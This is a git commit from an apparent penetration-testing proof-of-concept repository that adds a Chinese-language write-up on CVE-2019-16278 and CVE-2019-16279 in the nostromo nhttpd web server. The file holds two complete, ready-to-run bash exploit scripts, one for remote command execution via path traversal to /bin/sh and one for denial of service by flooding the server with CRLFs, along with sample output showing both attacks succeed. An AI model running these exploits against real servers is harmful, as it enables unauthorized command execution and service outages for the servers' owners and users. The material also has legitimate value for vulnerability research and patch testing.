mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
add CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd
This commit is contained in:
parent
ef3b5f4d61
commit
63cb9c8bfa
54
CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md
Normal file
54
CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md
Normal file
@ -0,0 +1,54 @@
|
||||
## CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd
|
||||
|
||||
## 0x1.nostromo nhttpd简介
|
||||
nostromo nhttpd是一款简单,快速的开源Web服务器,其作者是来自瑞士tiefen Boden 7的马库斯·格洛克(Marcus Glocker)。
|
||||
## 0x2.漏洞来源
|
||||
10月14日来自hackthebox名人堂第290名精英黑客sp0re公布了 nostromo nhttpd 1.9.6(目前最新版,算是0day吧)及之前版本中的‘http_verify’函数存在路径遍历漏洞CVE-2019-16278和拒绝服务攻击(Dos)CVE-2019-16279 。
|
||||
|
||||
## 0x3.漏洞详情
|
||||
CVE-2019-16278漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置,而且这个漏洞是因为 对CVE-2011-0751漏洞的未完全修复导致攻击者可以利用类似 /../ 的路径格式绕过限制从而通过 /bin/sh 来执行任意参数,即命令执行。
|
||||
例如:
|
||||
```shell
|
||||
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
|
||||
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
|
||||
```
|
||||
|
||||
而CVE-2019-16279是在当攻击者在单连接中发送大量的 \r\n 就会导致 nhttpd 出现内存错误,从而导致决绝服务。
|
||||
例如:
|
||||
```shell
|
||||
$ curl http://127.0.0.1:8080
|
||||
HELLO!
|
||||
$ ./CVE-2019-16279.sh 127.0.0.1 8080
|
||||
$ curl http://127.0.0.1:8080
|
||||
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused
|
||||
```
|
||||
## 0x4.漏洞相关脚本
|
||||
`CVE-2019-16278.sh:`
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env bash
|
||||
|
||||
HOST="$1"
|
||||
PORT="$2"
|
||||
shift 2
|
||||
|
||||
( \
|
||||
echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
|
||||
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
|
||||
echo "$@ 2>&1" \
|
||||
) | nc "$HOST" "$PORT" \
|
||||
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
|
||||
```
|
||||
|
||||
`CVE-2019-16279.sh:`
|
||||
|
||||
```shell
|
||||
#!/usr/bin/env bash
|
||||
|
||||
HOST="$1"
|
||||
PORT="$2"
|
||||
|
||||
echo -n -e '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n' | nc "$HOST" "$PORT"
|
||||
|
||||
```
|
||||
|
@ -75,6 +75,7 @@
|
||||
- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md)
|
||||
- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md)
|
||||
- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md)
|
||||
- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md)
|
||||
|
||||
## 提权辅助相关
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user